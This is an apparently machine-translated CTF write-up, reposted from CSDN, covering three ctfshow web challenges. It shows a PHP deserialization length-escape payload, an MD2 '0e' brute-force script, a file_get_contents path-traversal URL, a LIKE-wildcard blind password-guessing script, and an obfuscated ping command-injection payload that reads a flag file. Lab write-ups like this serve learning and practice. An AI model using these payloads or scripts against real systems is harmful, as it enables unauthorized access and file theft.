CTFSHOW月餅カップウェブ

web1_この夜のラウンド

<?php
error_reporting(0);

class a
{
    
    
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
    
    
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
    
    
        if($this->password==='yu22x')
        {
    
    
            include('flag.php');
            echo $flag;
        }
        else
        {
    
    
            echo 'wrong password';
        }
    }
}

function filter($string){
    
    
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

次のような、より明白なPHP逆シリアル化の長さの攻撃。

O:1:"a":2:{
    
    s:5:"uname";s:5:"12345";s:8:"password";i:1;}

仮に:

O:1:"a":2:{
    
    s:5:"uname";s:5:"12345";s:8:"password";i:123;}";s:8:"password";i:1;}

例を挙げると、いくつかの置換カスタム関数によって、unameの値は長くなりましたが、シリアル化後の長さは変更されていません。ここではまだ5なので、取得される値は12345で、パスワードは123です。 、最後のもの";s:8:"password";i:1;}は切断されるのと同じです

この質問では、FirebaskyはFirebaskyupに置き換えられ、一度に2桁追加されます。そして、私たちが構築したいものは、おおよそ次のようになります。

O:1:"a":2:{
    
    s:5:"uname";s:4:"feng";s:8:"password";s:5:"yu22x";}

これらを偽造する必要があります:

";s:8:"password";s:5:"yu22x";}

長さは30なので、unameには15個のFirebaskyが必要で、最終的な構造は次のとおりです。

<?php
class a
{
    
    
    public $uname='FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';
    //public $uname="feng";
    public $password="yu22x";
}
function filter($string){
    
    
    return str_replace('Firebasky','Firebaskyup',$string);
}
echo filter(serialize(new a()));

ここに画像の説明を挿入

web2_老人の心

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    
    
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
    
    
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
    
    
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
    
    
                    print_r(file_get_contents($url[1]));
                }else{
    
    
                    echo '差点点就成功了!';
                }
            }else{
    
    
                echo 'please give me url!!!';
            }     
    }else{
    
    
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    
    
    echo '第一个都过不了还想要flag呀?!';
}

真ん中のmd2が私を膨らませたことを除いて、単純な挑戦。

最初はこれです:

if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    
    

浮動小数点数のオーバーフローの精度を調査します。任意の構成です。最初9e-100構築するなどのテストを続け、それを発見する$a!=0成立但是$a**2==0不成立ことです。率直に言って、浮動小数点数を使用して、0ほど小さくならないようにしますが、その後は0に近くすることができます。二乗です。
ゆっくりとテスト9e-180を満足させることができます。

次に、邪悪なMD2があります。

$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));

この質問の問題はrobots.txtです。通常、このような問題についてカタログをスキャンする必要はありませんが、この問題に対してスキャンが行われるとは思っていませんでした。あなたはついにこのヒントを得ることができます:

MD2を壊すのは特に難しいですか?!
作者のペイオッドを見たと静かに伝えます。
しかし、数字は明確ではありません。楽しんでください~~~~
xxxxx024452 hash( "md2"、$ b)
xxxxxx48399 hash( "md2"、hash( "md2"、$ b))

bとcの構造の最後の数桁が与えられ、最初の2桁は0eでなければなりません。プロンプト番号に従って、純粋な番号を押して爆発させ、Pythonスクリプトを記述して爆発させます。

from Crypto.Hash import MD2

for v1 in "0123456789":
    for v2 in "0123456789":
        for v3 in "0123456789":

            v = "0e" + v1 + v2 + v3 + "024452"
            obj = MD2.new()
            obj.update(v.encode("utf-8"))
            n1 = obj.hexdigest()

            if n1[0:2] == "0e" and n1[2:11].isdigit():
                print("第一个是:"+v)

for v1 in "0123456789":
    for v2 in "0123456789":
        for v3 in "0123456789":
            for v4 in "0123456789":
                v = "0e" + v1 + v2 + v3 + v4 + "48399"
                obj = MD2.new()
                obj.update(v.encode("utf-8"))
                n1 = obj.hexdigest()

                obj = MD2.new()
                obj.update(n1.encode("utf-8"))
                n2 = obj.hexdigest()

                if n2[0:2] == "0e" and n2[2:11].isdigit():
                    print("第二个是:"+v)

PythonがインストールされているCryptoライブラリには、多くの形而上学的な問題があります。ブログを書いたとき、私はそれらの解決策を忘れていました。後発者が自分の祝福を求めてくれることを願っています。この質問の最も難しい部分は知識ではなく、暗号ライブラリのインストールだと思います。

最後はこれです:

highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
    
    
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
    
    
                    print_r(file_get_contents($url[1]));
                }else{
    
    
                    echo '差点点就成功了!';
                }
            }else{
    
    
                echo 'please give me url!!!';
            }  

フラグはfl0g.txtにあることが示唆されているため、file_get_contentsで読み取る必要があります。
file_get_contents関数の小さなトリックを次に示します。

PHPのfile_get_contents()関数が不明な疑似プロトコルヘッダーを検出すると、疑似プロトコルヘッダーをフォルダーとして使用し、ディレクトリトラバーサルのループホールを引き起こします。この時点で、ディレクトリをジャンプし続けて、ルートディレクトリ内のファイルを読み取ります。 。

したがって、不明なプロトコルヘッダーを作成すると、ディレクトリをトラバースできます。

url=httpp://ctfshow.com/../../../../../../../../fl0g.txt

web3_Moネガティブチャンファン

WEBの紹介である月餅カップweb3の復讐を終えた後、このトピックに関しては視野が本当に広がります。

環境に最初に入るのはログインすることです、f12は重要な情報を見ました:

<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

のように見えたので、注入する必要があると思いました。ファズを実行して、必要な注入はすべて禁止されていると感じましたが、ワイルドカードの%と_は禁止されているだけです。正常にログインできると思いました。結果を選択して_Matchingを追加すると、32個の一致しか見つかりませんでしたが、返されました:
すべての文字をフィルタリングしました。なぜ入力できますか?出てください!
パスワードをブール値に挿入して実行できることを説明してください、pythonを書く:

import requests

url="http://e311aa89-4b46-4cdb-bf83-cfdb0504d0a3.chall.ctf.show/login.php"

password=""
length=32
result="67815b0c009ee970fe4014abaa3Fa6A0"
for i in range(0,33):
    for j in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
        payload=password+j+"_"*(31 - len(password))
        data={
    
    
            "username":"yu22x",
            "password":payload
        }
        r=requests.post(url=url,data=data).text
        if "wrong" not in r:
            password+=j
            print(password)
            break

ログインが成功したら、/ P1099.phpに移動します。これは、より明白なコマンド実行です。フロントはpingを実行し、;を使用してコマンドを分離し、自分で作成した2番目のコマンドを実行する方法を見つけます。

私はこの質問の多くの拡張バージョンを実行し、さまざまなことを禁止し、さまざまな姿勢を学んだので、フィルタリングがほとんどない2番目の質問は非常に簡単です。小文字と一部の記号をフィルタリングすることです。この質問は、bashの組み込み変数を使用して作成されます。数値の禁止がないため、作成が簡単です。次のペイロードを/ bin / base64flag.phpに配置します。

ip=127.0.0.1;${
    
    PATH::1}???${
    
    PATH::1}????64 ????.???

ここに画像の説明を挿入
それを構築/十分にします。web3の復讐シリーズをブラッシングした後、より多くの姿勢を学ぶことができます。ふふふ。

おすすめ

転載: blog.csdn.net/rfrder/article/details/113274503